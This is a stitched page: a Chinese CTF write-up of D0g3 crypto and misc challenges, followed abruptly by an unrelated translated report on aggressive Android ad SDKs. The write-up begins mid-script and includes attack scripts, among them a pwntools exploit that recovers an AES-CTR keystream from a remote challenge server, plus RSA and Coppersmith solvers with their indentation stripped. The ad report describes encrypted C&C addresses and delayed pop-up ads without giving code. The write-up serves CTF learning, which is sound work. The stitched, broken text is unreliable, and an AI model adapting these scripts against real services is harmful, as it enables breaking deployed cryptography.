seeds = [3, 0, 39, 78, 14, 49, 73, 83, 55, 48, 30, 28, 23, 16, 54, 23, 68, 7, 20, 8, 98, 68, 45, 36, 97, 13, 83, 68, 16, 59, 81, 26, 51, 45, 36, 60, 36, 94, 58, 11, 19, 33, 95, 12, 60, 38, 51, 95, 21, 3, 38, 72, 47, 80, 7, 20, 26, 80, 18, 43, 92, 4, 64, 93, 91, 12, 86, 63, 46, 73, 89, 5, 91, 17, 88, 94, 80, 42, 90, 14, 45, 53, 91, 16, 28, 81, 62, 63, 66, 20, 81, 3, 43, 99, 54, 22, 2, 27, 2, 62, 88, 99, 78, 25, 76, 49, 28, 96, 95, 57, 94, 53, 32, 58, 32, 72, 89, 15, 4, 78, 89, 74, 86, 45, 51, 65, 13, 75, 95, 42, 20, 77, 34, 66, 56, 20, 26, 18, 28, 11, 88, 62, 72, 27, 74, 42, 63, 76, 82, 97, 75, 92, 1, 5, 20, 78, 46, 85, 81, 54, 64, 87, 37, 91, 38, 39, 1, 90, 61, 28, 13, 60, 37, 90, 87, 15, 78, 91, 99, 58, 62, 73, 70, 56, 82, 5, 19, 54, 76, 88, 4, 3, 55, 3, 3, 22, 85, 67, 98, 28, 32, 42, 48, 96, 69, 3, 83, 48, 26, 20, 45, 16, 45, 47, 92, 0, 54, 4, 73, 8, 31, 38, 3, 10, 84, 60, 59, 69, 64, 91, 98, 73, 81, 98, 9, 70, 44, 44, 24, 95, 83, 49, 31, 19, 89, 18, 20, 78, 86, 95, 83, 23, 42, 51, 95, 80, 48, 46, 88, 7, 47, 64, 55, 4, 62, 37, 71, 75, 98, 67, 98, 58, 66, 70, 24, 58, 56, 44, 11, 78, 1, 78, 89, 97, 83, 72, 98, 12, 41, 33, 14, 40, 27, 5, 18, 35, 25, 31, 69, 97, 84, 47, 25, 90, 78, 15, 72, 71]
rands = [[23, 54, 36, 60] ,[84, 75, 42, 25] ,[20, 38, 19, 39] ,[81, 9, 92, 73] ,[10, 70, 65, 94] ,[6, 41, 11, 75] ,[27, 50, 56, 46] ,[49, 85, 8, 37] ,[9, 95, 14, 73] ,[54, 13, 71, 30] ,[53, 28, 3, 65] ,[11, 13, 59, 17] ,[92, 94, 89, 8] ,[36, 48, 41, 44] ,[91, 13, 55, 48] ,[92, 94, 89, 8] ,[74, 94, 74, 90] ,[32, 15, 65, 7] ,[90, 68, 76, 90] ,[22, 96, 12, 70] ,[35, 83, 35, 5] ,[74, 94, 74, 90] ,[27, 48, 8, 33] ,[32, 98, 95, 91] ,[19, 80, 37, 84] ,[25, 68, 68, 84] ,[49, 85, 8, 37] ,[74, 94, 74, 90] ,[36, 48, 41, 44] ,[22, 93, 94, 2] ,[50, 45, 55, 38] ,[74, 20, 20, 60] ,[24, 50, 16, 82] ,[27, 48, 8, 33] ,[32, 98, 95, 91] ,[30, 57, 26, 80] ,[32, 98, 95, 91] ,[54, 12, 28, 43] ,[58, 20, 64, 94] ,[45, 55, 92, 46] ,[67, 78, 52, 51] ,[57, 63, 81, 27] ,[76, 51, 99, 53] ,[47, 65, 66, 14] ,[30, 57, 26, 80] ,[63, 42, 72, 6] ,[24, 50, 16, 82] ,[76, 51, 99, 53] ,[16, 68, 63, 47] ,[23, 54, 36, 60] ,[63, 42, 72, 6] ,[7, 59, 98, 34] ,[35, 43, 45, 34] ,[27, 54, 70, 95] ,[32, 15, 65, 7] ,[90, 68, 76, 90] ,[74, 20, 20, 60] ,[27, 54, 70, 95] ,[18, 66, 33, 19] ,[3, 69, 14, 46] ,[42, 56, 55, 58] ,[23, 10, 39, 15] ,[47, 63, 40, 92] ,[91, 49, 56, 35] ,[8, 17, 68, 16] ,[47, 65, 66, 14] ,[79, 3, 83, 31] ,[44, 29, 90, 48] ,[88, 39, 58, 85] ,[27, 50, 56, 46] ,[8, 60, 99, 14] ,[62, 74, 79, 94] ,[8, 17, 68, 16] ,[52, 80, 96, 28] ,[39, 18, 90, 62] ,[54, 12, 28, 43] ,[27, 54, 70, 95] ,[63, 2, 27, 22] ,[20, 9, 65, 58] ,[10, 70, 65, 94] ,[27, 48, 8, 33] ,[61, 89, 45, 71] ,[8, 17, 68, 16] ,[36, 48, 41, 44] ,[11, 13, 59, 17] ,[50, 45, 55, 38] ,[92, 17, 97, 23] ,[44, 29, 90, 48] ,[7, 43, 24, 44] ,[90, 68, 76, 90] ,[50, 45, 55, 38] ,[23, 54, 36, 60] ,[3, 69, 14, 46] ,[40, 20, 17, 24] ,[91, 13, 55, 48] ,[95, 14, 2, 99] ,[95, 94, 5, 8] ,[64, 70, 95, 19] ,[95, 94, 5, 8] ,[92, 17, 97, 23] ,[39, 18, 90, 62] ,[40, 20, 17, 24] ,[81, 9, 92, 73] ,[37, 92, 84, 21] ,[37, 95, 20, 29] ,[6, 41, 11, 75] ,[11, 13, 59, 17] ,[37, 90, 39, 20] ,[76, 51, 99, 53] ,[4, 58, 1, 51] ,[54, 12, 28, 43] ,[61, 89, 45, 71] ,[7, 21, 30, 90] ,[58, 20, 64, 94] ,[7, 21, 30, 90] ,[7, 59, 98, 34] ,[8, 60, 99, 14] ,[96, 1, 73, 15] ,[23, 10, 39, 15] ,[81, 9, 92, 73] ,[8, 60, 99, 14] ,[85, 51, 11, 12] ,[79, 3, 83, 31] ,[27, 48, 8, 33] ,[24, 50, 16, 82] ,[41, 28, 84, 44] ,[25, 68, 68, 84] ,[45, 43, 4, 76] ,[76, 51, 99, 53] ,[63, 2, 27, 22] ,[90, 68, 76, 90] ,[79, 32, 24, 82] ,[52, 58, 84, 89] ,[7, 43, 24, 44] ,[96, 55, 47, 52] ,[90, 68, 76, 90] ,[74, 20, 20, 60] ,[18, 66, 33, 19] ,[11, 13, 59, 17] ,[45, 55, 92, 46] ,[39, 18, 90, 62] ,[92, 17, 97, 23] ,[7, 59, 98, 34] ,[64, 70, 95, 19] ,[85, 51, 11, 12] ,[63, 2, 27, 22] ,[44, 29, 90, 48] ,[37, 95, 20, 29] ,[14, 48, 50, 96] ,[19, 80, 37, 84] ,[45, 43, 4, 76] ,[42, 56, 55, 58] ,[13, 84, 76, 25] ,[62, 74, 79, 94] ,[90, 68, 76, 90] ,[81, 9, 92, 73] ,[88, 39, 58, 85] ,[19, 61, 10, 90] ,[50, 45, 55, 38] ,[91, 13, 55, 48] ,[47, 63, 40, 92] ,[14, 18, 83, 54] ,[68, 9, 61, 84] ,[8, 17, 68, 16] ,[63, 42, 72, 6] ,[20, 38, 19, 39] ,[13, 84, 76, 25] ,[20, 9, 65, 58] ,[49, 55, 80, 32] ,[11, 13, 59, 17] ,[25, 68, 68, 84] ,[30, 57, 26, 80] ,[68, 9, 61, 84] ,[20, 9, 65, 58] ,[14, 18, 83, 54] ,[96, 1, 73, 15] ,[81, 9, 92, 73] ,[8, 17, 68, 16] ,[40, 20, 17, 24] ,[58, 20, 64, 94] ,[92, 17, 97, 23] ,[27, 50, 56, 46] ,[90, 29, 45, 13] ,[96, 55, 47, 52] ,[14, 48, 50, 96] ,[62, 74, 79, 94] ,[67, 78, 52, 51] ,[91, 13, 55, 48] ,[37, 95, 20, 29] ,[39, 18, 90, 62] ,[23, 10, 39, 15] ,[23, 54, 36, 60] ,[9, 95, 14, 73] ,[23, 54, 36, 60] ,[23, 54, 36, 60] ,[95, 14, 2, 99] ,[19, 61, 10, 90] ,[7, 76, 97, 41] ,[35, 83, 35, 5] ,[11, 13, 59, 17] ,[7, 21, 30, 90] ,[63, 2, 27, 22] ,[54, 13, 71, 30] ,[37, 90, 39, 20] ,[68, 9, 16, 60] ,[23, 54, 36, 60] ,[49, 85, 8, 37] ,[54, 13, 71, 30] ,[74, 20, 20, 60] ,[90, 68, 76, 90] ,[27, 48, 8, 33] ,[36, 48, 41, 44] ,[27, 48, 8, 33] ,[35, 43, 45, 34] ,[42, 56, 55, 58] ,[84, 75, 42, 25] ,[91, 13, 55, 48] ,[23, 10, 39, 15] ,[27, 50, 56, 46] ,[22, 96, 12, 70] ,[1, 11, 39, 68] ,[63, 42, 72, 6] ,[23, 54, 36, 60] ,[57, 42, 57, 20] ,[73, 91, 3, 0] ,[30, 57, 26, 80] ,[22, 93, 94, 2] ,[68, 9, 16, 60] ,[47, 63, 40, 92] ,[8, 17, 68, 16] ,[35, 83, 35, 5] ,[27, 50, 56, 46] ,[50, 45, 55, 38] ,[35, 83, 35, 5] ,[46, 37, 13, 86] ,[90, 29, 45, 13] ,[40, 54, 86, 17] ,[40, 54, 86, 17] ,[71, 83, 18, 99] ,[76, 51, 99, 53] ,[49, 85, 8, 37] ,[6, 41, 11, 75] ,[1, 11, 39, 68] ,[67, 78, 52, 51] ,[8, 60, 99, 14] ,[18, 66, 33, 19] ,[90, 68, 76, 90] ,[81, 9, 92, 73] ,[79, 3, 83, 31] ,[76, 51, 99, 53] ,[49, 85, 8, 37] ,[92, 94, 89, 8] ,[63, 2, 27, 22] ,[24, 50, 16, 82] ,[76, 51, 99, 53] ,[27, 54, 70, 95] ,[54, 13, 71, 30] ,[88, 39, 58, 85] ,[39, 18, 90, 62] ,[32, 15, 65, 7] ,[35, 43, 45, 34] ,[47, 63, 40, 92] ,[9, 95, 14, 73] ,[23, 10, 39, 15] ,[92, 17, 97, 23] ,[68, 9, 61, 84] ,[32, 62, 0, 98] ,[45, 43, 4, 76] ,[35, 83, 35, 5] ,[7, 76, 97, 41] ,[35, 83, 35, 5] ,[58, 20, 64, 94] ,[7, 43, 24, 44] ,[90, 29, 45, 13] ,[71, 83, 18, 99] ,[58, 20, 64, 94] ,[96, 55, 47, 52] ,[40, 54, 86, 17] ,[45, 55, 92, 46] ,[81, 9, 92, 73] ,[13, 84, 76, 25] ,[81, 9, 92, 73] ,[8, 60, 99, 14] ,[19, 80, 37, 84] ,[49, 85, 8, 37] ,[7, 59, 98, 34] ,[35, 83, 35, 5] ,[47, 65, 66, 14] ,[38, 23, 16, 91] ,[57, 63, 81, 27] ,[10, 70, 65, 94] ,[45, 87, 3, 28] ,[64, 70, 95, 19] ,[62, 74, 79, 94] ,[18, 66, 33, 19] ,[54, 75, 74, 86] ,[37, 92, 84, 21] ,[1, 11, 39, 68] ,[68, 9, 16, 60] ,[19, 80, 37, 84] ,[73, 91, 3, 0] ,[35, 43, 45, 34] ,[37, 92, 84, 21] ,[20, 9, 65, 58] ,[81, 9, 92, 73] ,[96, 1, 73, 15] ,[7, 59, 98, 34] ,[32, 62, 0, 98]]
result = [-38, -121, -40, -125, -51, -29, -2, -21, -59, -54, -51, -40, -105, -5, -4, -50, -127, -56, -124, -128, -23, -104, -63, -112, -34, -115, -58, -99, -24, -102, -1, -5, -34, -3, -104, -103, -21, -62, -121, -24, -115, -9, -87, -56, -39, -30, -34, -4, -33, -5, -114, -21, -19, -7, -119, -107, -115, -6, -25, -27, -32, -62, -28, -20, -60, -121, -102, -10, -112, -7, -85, -110, -62, -100, -110, -29, -41, -55, -113, -112, -45, -106, -125, -25, -57, -27, -83, -2, -51, -118, -2, -10, -50, -40, -1, -82, -111, -113, -50, -48, -23, -33, -112, -38, -29, -26, -4, -40, -123, -4, -44, -120, -63, -38, -41, -22, -50, -50, -17, -122, -61, -5, -100, -22, -44, -47, -125, -125, -127, -55, -117, -100, -2, -26, -32, -111, -123, -118, -16, -24, -20, -40, -92, -40, -102, -49, -99, -45, -59, -98, -49, -13, -62, -128, -121, -114, -112, -13, -3, -4, -26, -35, -15, -35, -8, -18, -125, -14, -6, -60, -113, -104, -120, -64, -104, -55, -104, -41, -34, -106, -105, -2, -28, -14, -58, -128, -3, -1, -17, -38, -18, -12, -59, -4, -19, -82, -40, -122, -18, -42, -53, -60, -113, -40, -126, -15, -63, -40, -124, -114, -58, -26, -35, -26, -8, -48, -112, -52, -11, -117, -52, -32, -21, -38, -124, -13, -103, -6, -30, -33, -28, -31, -1, -97, -59, -64, -28, -1, -40, -2, -10, -26, -24, -3, -50, -113, -125, -122, -124, -5, -50, -62, -11, -8, -88, -109, -7, -31, -105, -54, -28, -8, -62, -58, -101, -58, -53, -124, -18, -124, -17, -109, -52, -45, -40, -109, -85, -7, -108, -121, -58, -49, -91, -102, -8, -10, -17, -55, -19, -11, -116, -47, -120, -121, -23, -99, -19, -51, -36, -110, -126, -29, -110, -9, -97, -54, -83, -86]
C = [1, 0, 7789, 1, 17598, 20447, 15475, 23040, 41318, 23644, 53369, 19347, 66418, 5457, 0, 1, 14865, 97631, 6459, 36284, 79023, 1, 157348, 44667, 185701, 116445, 23809, 220877, 0, 1, 222082, 30333, 55446, 207442, 193806, 149389, 173229, 349031, 152205, 1, 149157, 196626, 1, 222532, 10255, 46268, 171536, 0, 351788, 152678, 0, 172225, 109296, 0, 579280, 634746, 1, 668942, 157973, 1, 17884, 662728, 759841, 450490, 0, 139520, 157015, 616114, 199878, 154091, 1, 937462, 675736, 53200, 495985, 307528, 1, 804492, 790322, 463560, 520991, 436782, 762888, 267227, 306436, 1051437, 384380, 505106, 729384, 1261978, 668266, 1258657, 913103, 935600, 1, 1, 401793, 769612, 484861, 1024896, 517254, 638872, 1139995, 700201, 308216, 333502, 0, 0, 401082, 1514640, 667345, 1015119, 636720, 1011683, 795560, 783924, 1269039, 5333, 0, 368271, 1700344, 1, 383167, 7540, 1490472, 1484752, 918665, 312560, 688665, 967404, 922857, 624126, 889856, 1, 848912, 1426397, 1291770, 1669069, 0, 1709762, 130116, 1711413, 1336912, 2080992, 820169, 903313, 515984, 2211283, 684372, 2773063, 391284, 1934269, 107761, 885543, 0, 2551314, 2229565, 1392777, 616280, 1368347, 154512, 1, 1668051, 0, 2453671, 2240909, 2661062, 2880183, 1376799, 0, 2252003, 1, 17666, 1, 2563626, 251045, 1593956, 2215158, 0, 93160, 0, 2463412, 654734, 1, 3341062, 3704395, 3841103, 609968, 2297131, 1942751, 3671207, 1, 1209611, 3163864, 3054774, 1055188, 1, 4284662, 3647599, 247779, 0, 176021, 3478840, 783050, 4613736, 2422927, 280158, 2473573, 2218037, 936624, 2118304, 353989, 3466709, 4737392, 2637048, 4570953, 1473551, 0, 0, 4780148, 3299784, 592717, 538363, 2068893, 814922, 2183138, 2011758, 2296545, 5075424, 1814196, 974225, 669506, 2756080, 5729359, 4599677, 5737886, 3947814, 4852062, 1571349, 4123825, 2319244, 4260764, 1266852, 1, 3739921, 1, 5948390, 1, 2761119, 2203699, 1664472, 3182598, 6269365, 5344900, 454610, 495499, 6407607, 1, 1, 476694, 4339987, 5642199, 1131185, 4092110, 2802555, 0, 5323448, 1103156, 2954018, 1, 1860057, 128891, 2586833, 6636077, 3136169, 1, 3280730, 6970001, 1874791, 48335, 6229468, 6384918, 5412112, 1, 7231540, 7886316, 2501899, 8047283, 2971582, 354078, 401999, 6427168, 4839680, 1, 44050, 3319427, 0, 1, 1452967, 4620879, 5525420, 5295860, 643415, 5594621, 951449, 1996797, 2561796, 6707895, 7072739]
dp = ''
for i in range(0,len(result)):
dp = dp + chr((~result[i]|rands[i][i%4]) & (result[i]|~rands[i][i%4]))
dq = ''
E = 0x10001
list_p = sieve_base[0:len(C)]
list_q = sieve_base[len(C):2*len(C)]
for l in range(0,len(C)):
P = list_p[l]
Q = list_q[l]
D = gmpy2.invert(E,(P-1)*(Q-1))
dq = dq + str(pow(C[l],D,P*Q))
decode(p,q,int(dp),int(dq),c,n)
=====
D0g3{Welc0me_t0_iSOON_4nd_have_4_go0d_time}
>>>
## **ez_equation**
n的因子是5个素数，前三个素数利用公因数解出，最后利用费马分解得到后两个素数。
分析得到n与M1有最大公因数p2，利用p2再解方程得到p1，p3
from Crypto.Util.number import *
import gmpy2
M1= 3826382835023788442651551584905620963555468828948525089808250303867245240492543151274589993810948153358311949129889992078565218014437985797623260774173862776314394305207460929010448541919151371739763413408901958357439883687812941802749556269540959238015960789123081724913563415951118911225765239358145144847672813272304000303248185912184454183649550881987218183213383170287341491817813853157303415010621029153827654424674781799037821018845093480149146846916972070471616774326658992874624717335369963316741346596692937873980736392272357429717437248731018333011776098084532729315221881922688633390593220647682367272566275381196597702434911557385351389179790132595840157110385379375472525985874178185477024824406364732573663044243615168471526446290952781887679180315888377262181547383953231277148364854782145192348432075591465309521454441382119502677245090726728912738123512316475762664749771002090738886940569852252159994522316
M2= 4046011043117694641224946060698160981194371746049558443191995592417947642909277226440465640195903524402898673255622570650810338780358645872293473212692240675287998097280715739093285167811740252792986119669348108850168574423371861266994630851360381835920384979279568937740516573412510564312439718402689547377548575653450519989914218115265842158616123026997554651983837361028152010675551489190669776458201696937427188572741833635865019931327548900804323792893273443467251902886636756173665823644958563664967475910962085867559357008073496875191391847757991101189003154422578662820049387899402383235828011830444034463049749668906583814229827321704450021715601349950406035896249429068630164092309047645766216852109121662629835574752784717997655595307873219503797996696389945782836994848995124776375146245061787647756704605043856735398002012276311781956668212776588970619658063515356931386886871554860891089498456646036630114620806
c= 1394946766416873131554934453357121730676319808212515786127918041980606746238793432614766163520054818740952818682474896886923871330780883504028665380422608364542618561981233050210507202948882989763960702612116316321009210541932155301216511791505114282546592978453573529725958321827768703566503841883490535620591951871638499011781864202874525798224508022092610499899166738864346749753379399602574550324310119667774229645827773608873832795828636770263111832990012205276425559363977526114225540962861740929659841165039419904164961095126757294762709194552018890937638480126740196955840656602020193044969685334441405413154601311657668298101837066325231888411018908300828382192203062405287670490877283269761047853117971492197659115995537837080400730294215778540754482680476723953659085854297184575548489544772248049479632420289954409052781880871933713121875562554234841599323223793407272634167421053493995795570508435905280269774274084603687516219837730100396191746101622725880529896250904142333391598426588238082485305372659584052445556638990497626342509620305749829144158797491411816819447836265318302080212452925144191536031249404138978886262136129250971366841779218675482632242265233134997115987510292911606736878578493796260507458773824689843424248233282828057027197528977864826149756573867022173521177021297886987799897923182290515542397534652789013340264587028424629766689059507844211910072808286250914059983957934670979551428204569782238857331272372035625901349763799005621577332502957693517473861726359829588419409120076625939502382579605
n= 19445950132976386911852381666731799463510958712950274248183192405937223343228119407660772413067599252710235310402278345391806863116119010697766434743302798644091220730819441599784039955347398797545219314925103529062092963912855489464914723588833817280786158985269401131919618320866942737291915603551320163001129725430205164159721810319128999027215168063922977994735609079166656264150778896809813972275824980250733628895449444386265971986881443278517689428198251426557591256226431727934365277683559038777220498839443423272238231659356498088824520980466482528835994554892785108805290209163646408594682458644235664198690503128767557430026565606308422630014285982847395405342842694189025641950775231191537369161140012412147734635114986068452144499789367187760595537610501700993916441274609074477086105160306134590864545056872161818418667370690945602050639825453927168529154141097668382830717867158189131567590506561475774252148991615602388725559184925467487450078068863876285937273896246520621965096127440332607637290032226601266371916124456122172418136550577512664185685633131801385265781677598863031205194151992390159339130895897510277714768645984660240750580001372772665297920679701044966607241859495087319998825474727920273063120701389749480852403561022063673222963354420556267045325208933815212625081478538158049144348626000996650436898760300563194390820694376019146835381357141426987786643471325943646758131021529659151319632425988111406974492951170237774415667909612730440407365124264956213064305556185423432341935847320496716090528514947
p2 = gmpy2.gcd(n,M1)
p2_2 = pow(p2, 2)
delta = pow(p2_2 + p2, 2) - (4 * p2 * (p2_2-M1))
p1 = (-(p2_2 + p2) + list(gmpy2.iroot(delta,2))[0]) // (2 * p2)
p3 = (M2 + 2) // (p2_2 + p1*p2) - 1
N1 = p1*p2*p3
N2 = n // N1
N3 = list(gmpy2.iroot(N2,2))[0] + 1
while True:
mul = pow(N3,2) - N2
if(list(gmpy2.iroot(mul,2))[1]):
M = list(gmpy2.iroot(mul,2))[0]
p = N3 - M
q = N3 + M
break
N3 += 1
phi = (p1 - 1) * (p2 - 1) * (p3 - 1) * (p - 1) * (q - 1)
e = 65537
d = gmpy2.invert(e,phi)
print(long_to_bytes(gmpy2.powmod(c,d,n)))
D0g3{296b680c-7aeb-5272-8b33-7335b411fbcb}
## **strange**
已知m&hint和hint，利用Coppersmith求m|hint
m|hint = 13420866878657192881981508918368509601760484822510871697454710042290632315733970543259862148639047993224391010676733
恢复m
from Crypto.Util.number import *
N = 13002904520196087913175026378157676218772224961198751789793139372975952998874109513709715017379230449514880674554473551508221946249854541352973100832075633211148140972925579736088058214014993082226530875284219933922497736077346225464349174819075866774069797318066487496627589111652333814065053663974480486379799102403118744672956634588445292675676671957278976483815342400168310432107890845293789670795394151784569722676109573685451673961309951157399183944789163591809561790491021872748674809148737825709985578568373545210653290368264452963080533949168735319775945818152681754882108865201849467932032981615400210529003
c = 8560367979088389639093355670052955344968008917787780010833158290316540154791612927595480968370338549837249823871244436946889198677945456273317343886485741297260557172704718731809632734567349815338988169177983222118718585249696953103962537942023413748690596354436063345873831550109098151014332237310265412976776977183110431262893144552042116871747127301026195142320678244525719655551498368460837394436842924713450715998795899172774573341189660227254331656916960984157772527015479797004423165812493802730996272276613362505737536007284308929288293814697988968407777480072409184261544708820877153825470988634588666018802
m1 = 13420866878657192881981508918368509601760484822510871697454710042290632315733970543259862148639047993224391010676733
m2 = 9869907877594701353175281930839281485694004896356038595955883788511764488228640164047958227861871572990960024485992
hint = 9989639419782222444529129951526723618831672627603783728728767345257941311870269471651907118545783408295856954214259681421943807855554571179619485975143945972545328763519931371552573980829950864711586524281634114102102055299443001677757487698347910133933036008103313525651192020921231290560979831996376634906893793239834172305304964022881699764957699708192080739949462316844091240219351646138447816969994625883377800662643645172691649337353080140418336425506119542396319376821324619330083174008060351210307698279022584862990749963452589922185709026197210591472680780996507882639014068600165049839680108974873361895144
res = ''
while m2 > 0:
a = hint & 1
b = m2 & 1
c = m1 & 1
if a == 0:
assert b == 0
res += str(c)
else:
res += str(b)
m1 >>= 1
m2 >>= 1
hint >>= 1
mes = '0' + res[::-1]
print(long_to_bytes(int(mes,2)).decode())
=====
D0g3{R54_f4l1_1n_l0ve_with_CopperSmith_w0wow0!!}
>>>
## **air encryption**
连上之后给了6次交互机会, 但其中最少有一次需要用来`set key`
有三个选项:
* set key : 初始化`aes-ctr`的counter
* guess num: 每猜中一次随机数, 分数+1
* get flag : 当分数不为4的时候, 发送的为有填充的加密的flag, 分数为4的时候发送明文flag
### 思路
由于题目`set key`没有校验次数, 可以多次重置密钥, 且密钥为每一次连接生成的随机值, 加上`aes-ctr`的特性, 只需要获取到足够长的明文即可
在`guess key`中, 猜对随机数服务端会发送填充加密后的`right`, 猜错随机数会发送填充加密后`wrong`, 实际上, 这里的明文都不够长,
于是这样会出现只能获取到一半flag的情况。
正确是思路的是故意输入不符合要求的命令, 由于`self.send(b'something wrong, check your input')`,
填充和加密操作被内置到了`send`方法里面, 所以这里会发送很长的密文, 重复三次, 去除重合的部分即可得到足够长的密钥流
于是6次机会 = 1次`set key`初始化 + 3次报错`guess num`获取密钥流 + 1次`set key`重置密钥流 + 1次`get
flag`获取加密后的flag
本地解密即可
### exp
#!/usr/bin/python
from pwn import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import string
import time
import binascii
context.log_level = 'debug'
r = remote('happi0.club', 10086)
def padding( msg):
return msg + chr((16 - len(msg)%16)).encode() * (16 - len(msg)%16)
def xor_bytes(var, key):
return bytes(a ^ b for a, b in zip(var, key))
def decrypt(ct):
msg = padding(b'something wrong, check your input')
pt = xor_bytes(msg, ct)
return pt
# pow
data = r.recvline()
print(data[12:28], data[33:97])
found = mbruteforce(lambda x:sha256(x.encode() + data[12:28]).hexdigest().encode() == data[33:97], string.ascii_letters+string.digits, 4)
r.sendline(found)
r.recvline()
# set key
n = int(binascii.unhexlify(r.recvline()[:-1]))
d = int(binascii.unhexlify(r.recvline()[:-1])) // 2
c = int(binascii.unhexlify(r.recvline()[:-1]))
m = pow(c,d,n)
r.sendline(b'set key:' + str(m).encode())
time.sleep(0.5)
# guess num
key_stream = b''
for i in range(3):
r.sendline(b'happi0')
time.sleep(0.5)
ct = binascii.unhexlify(r.recvline()[:-1])
pt = decrypt(ct)
if i != 2:
key_stream += pt[:16]
else:
key_stream += pt
print('pt:' + str(pt) + '\n' + 'length: ' + str(len(pt)))
print('key_stream:' + str(key_stream) + '\n' + 'length: ' + str(len(key_stream)) + '\n')
# reset key
r.sendline(b'set key:' + str(m).encode())
time.sleep(0.5)
r.sendline(b'get flag')
time.sleep(0.5)
# decrypt flag
flag = binascii.unhexlify(r.recvline()[:-1])
print(flag, type(flag), key_stream)
flag = xor_bytes(flag, key_stream)
print(flag)
#b'\x8a\xa8\x83\xed\xe9\xe0\xe5\x11\xf4\x9c\xcc\xb6K\x91\xbb\xa9\xf0\xd4\t\x15\x19r\xf5Z\x9d.\x9368\x90\xe8\xd5flag{c836b2abae33d2e5b9a0e50b28ba5e95}\n\n\n\n\n\n\n\n\n\n'
# **MISC**
## **签到**
虽然说了不要搅屎（因为算是用了公共环境），但还是被搞了，挺无奈的。
给了BV号，一看那么多播放量和弹幕量就不是纯看弹幕一个一个找。所以去<https://www.fybgame.top/bilibili/bilibili.html查询关键字D0g3即可。>
## **CyzCC_loves_LOL**
一个加密压缩包和一个password文件，password打开，又因为LOL的提示可以看出是LOLcode 解出压缩包密码为：
AGdJfpqebmXpptloa
解出一个`jinx's_flag_in_silent.jpg`和`program.png`
jpg类的隐写一般只有stegdetect能检测出的几种和silenteye,既然有silent这个提示，尝试但发现解不出来。这是因为silenteye也有密码这个问题。所以我们关注一下program.png，另一种与lol有关的图形化code，是brainloller
code。
<https://minond.xyz/brainloller/>
在这里进行解密，再替换silenteye的默认密码即可。
## **Cthulhu Mythos**
flag一共分为两段，第一段是sstv解码，得到一张图片
第二段flag藏在.wld文件中，利用(地图编辑器/直接打开游戏地图)，观察由电路和箱子中雕像组成的字符得到另一段flag。其中游玩地图的需要注意的是电路需要手持与电路有关的物品才能看见。
两段拼接起来再base32解码可得到flag：
D0g3{M1necR4ft_G0_And_Try_Terr4ria!}
## **lovemath**
打开压缩包看到多个字节很小的txt文件，而且文件加密。考虑使用crc碰撞得到文件内的内容
使用脚本
<https://link.csdn.net/?target=https%3A%2F%2Fgithub.com%2Ftheonlypwner%2Fcrc32>
python3 crc32.py reverse 0x你的crc32密文
依次解密得到字符
th1s_Is_Y0ur_pa33w0rd_We1c0m3e
将其当做密码解压文件
解压后得到一张png图片，使用Stegsolve.jar查看发现存在LSB,提取BGR的0通道
save bin出来，删掉开头的fffe即可得到⼀张数字图，使⽤QQ的识图⼯具能得到上⾯的数字
1251077695482776025338577125579215707216262981842821000162276994967943212822693842845266851984880336702446444408289977864567921038435144120176357529686342977212633764247620567669441602729004003473312468776582473461071462631554533766709934484393185739708817165738912742570170547790145328253304755428563911689057632001795598667127514331122190795355921436735375126688142856470280128821316586008242687241930886868804388482643589009068543771977163419519208340324352
根据题目的描述，数学你是如此美丽，甚至能画出自己。搜索能画出自己的数学公式可知道是说的塔珀自指公式
上面得到数字为k值
使⽤在线⽹站<https://viegg.com/tupper/demo.html解密得到flag> | 社区文章 |
**原文：[Aggressive in-app advertising in Android](https://securelist.com/in-app-advertising-in-android/97065/ "Aggressive in-app advertising in Android")**
**译者：知道创宇404实验室翻译组**
近期，Google Play上流行应用程序中的[可疑广告模块](https://securelist.com/dropper-in-google-play/92496/)越来越多，其观看次数也在不断增加，与白名单广告模块相比，它们为开发人员带来了更多收入，但此类SDK的获利方法可能会对用户形成网络威胁。本文将对之前所提到的流行应用程序中的可疑广告模块进行研究。
第一个研究的应用程序，它允许用户匿名提问。`com.haskfm.h5mob`模块将数据集成到该程序前期的代码中，其任务是在用户解锁手机时显示侵入性广告（违反Google
Play规则）。
屏幕解锁时显示广告的代码
换句话说，无论该应用程序是否正在运行，该模块都可以显示广告，广告会在屏幕上自动弹出。我们将调查结果发送给了应用程序开发人员，他们立即删除了
_com.haskfm.h5mob_ 。但是，从技术角度来看，该模块仍然很有趣。
在这个用于接收广告优惠的应用程序中，模块连接到C＆C服务器，其地址已经在应用程序代码中进行了加密。
解密C＆C地址
C＆C服务器响应内容包含主要的参数和广告商。
{"status":1,
"msg":"Success",
"data":{"rqect":0,
"ldfr":1,
"tifr":1,
"appintset":43200000,
"swpa":1,
"ssjp":1,
"tcap":86400000,
"ctoftime":3600000,
"jtslist":[{"domain":"app.appsflyer.com","format":"&android_id={android_id}&advertising_id={gaid}"},
{"domain":"app.adjust.com","format":"&android_id={android_id}&gps_adid={gaid}"},
{"domain":"app.adjust.io","format":"&android_id={android_id}&gps_adid={gaid}"},
此处最有趣的参数是 _appintset_
，它会在程序安装后显示的第一个广告上进行延迟。在我们的样本中，我们将其设置为4320万毫秒（即12小时），这种延迟会导致用户在第一时间很难察觉到已经显示的所有广告。此外，操作者们还会使用此技术来绕过程序本身具有自动保护机制（如应用程序商店中的[沙箱](https://encyclopedia.kaspersky.com/glossary/sandbox/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation)）。主要参数中还有广告商的相关信息，其中还包含用于接收报价的请求参数。
之前我们在没有有效负载的应用程序中检测到过类似的广告模块。如，`com.android.ggtoolkit_tw_xd`应用中的代码并没有检测到病毒AdWare.AndroidOS.Magic.a，其包含与`com.haskfm.h5mob`相同的功能，并且会通过相同的C＆C模块进行管理。但此广告软件的应用程序没有图形界面可言，而且在设备的应用程序菜单中进行显示，只会显示[插入式广告](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/25090629/adware_in-app_video.mp4 "插入式广告")。
此外，虽然第一个示例中的应用程序创建者删除了广告模块，但并非所有的Android开发者都这样。如，不论程序是否运行，“CutOut & Photo
Background” 都会在手机解锁后立即处理半屏广告。
同样，清洁软件“SpeedBooster & Cleaner”也会进行类似操作。
在这两个应用程序中， _com.vision.lib_ 也会处理广告的显示。
在本文撰写期间，这两个程序的开发人员均未响应我们的要求。
